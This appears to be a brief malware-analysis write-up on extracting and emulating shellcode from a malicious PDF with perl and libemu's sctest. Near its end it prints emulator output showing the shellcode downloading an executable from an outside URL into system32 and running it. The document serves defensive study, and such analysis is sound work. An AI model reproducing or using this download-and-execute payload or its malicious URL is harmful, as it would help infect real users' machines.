Libemu and Extracting Shellcodes From PDF Malware
Libemu and Extracting Shellcodes From PDF Malware
Abstract
In this paper basically I just document my personal experience, that
is the process of extracting shellcodes from PDF malware and later put it
into Graphviz’s picture. I adapt most the examples are from the tutorial
given by [Jeremy, 2008].
1 Introduction
In this write up I will show to you on how to extract shellcodes from PDF files.
2 PDF malware
Malicious PDF contains embedded Javascript (*.js). This Javascript may does
harmful activity without the user’s consent.
• http://code.google.com/p/pyew/
• http://libemu.carnivore.it/
• http://www.graphviz.org/
1
$ avgscan b c 6 6 f d 9 e 0 c 2 f 7 a 7 9 1 6 7 d a b 1 6 5 3 1 c 2 8 f 2
AVG command line Anti - Virus scanner
Copyright ( c ) 2009 AVG Technologies CZ
2
Figure 2: PDF shellcodes (Zoom mode)
Now, we need to filter out the unintended strings, simply cut out using the
following perl script:
cat shell . txt | perl - pe ’s /\% u (..)(..)/ chr ( hex ( $2 )). chr ( hex ( $1 ))/ ge ’ > filtered - shell . txt
Now, you should get the intended shellcodes. You actually can see a plain
URL within that PDF shellcodes. Say, by using hexdump tool:
3
Now, we need to call the libemu’s tool called sctest. By using the following
command:
sctest - Sgs 1000000 -v < filtered - shell -. txt
It will creates the following output:
verbose = 1
success offset = 0 x00000017
Hook me Captain Cook !
userhooks . c :132 u s e r _ h o o k _ E x i t T h r e a d
ExitThread ( -1)
stepcount 314316
HMODULE LoadLibraryA (
LPCTSTR lpFileName = 0 x00417195 = >
= " URLMON ";
) = 0 x7df20000 ;
UINT G e t S y s t e m D i r e c t o r y (
LPTSTR lpBuffer = 0 x0012fae8 = >
= " c :\ WINDOWS \ system32 ";
UINT uSize = 255;
) = 19;
ERROR DeleteFile (
LPCTSTR lpFileName = 0 x0012fae8 = >
none ;
) = -1;
HRESULT U R L D o w n l o a d T o F i l e (
LPUNKNOWN pCaller = 0 x00000000 = >
none ;
LPCTSTR szURL = 0 x0041719c = >
= " http :// buterik . com /123/ load . exe ";
LPCTSTR szFileName = 0 x0012fae8 = >
= " c :\ WINDOWS \ system32 \~. exe ";
DWORD dwReserved = 0;
L P B I N D S T A T U S C A L L B A C K lpfnCB = 0;
) = 0;
UINT WINAPI WinExec (
LPCSTR lpCmdLine = 0 x0012fae8 = >
= " c :\ WINDOWS \ system32 \~. exe ";
UINT uCmdShow = 0;
) = 32;
void ExitThread (
DWORD dwExitCode = -1;
) = 0;
Now, if you want to create a flow graph, we need to add an extra flag, -G
flag to the tool’s execution.
4
5
6
References
[Jeremy, 2008] Jeremy (2008). http://www.sudosecure.net/archives/313.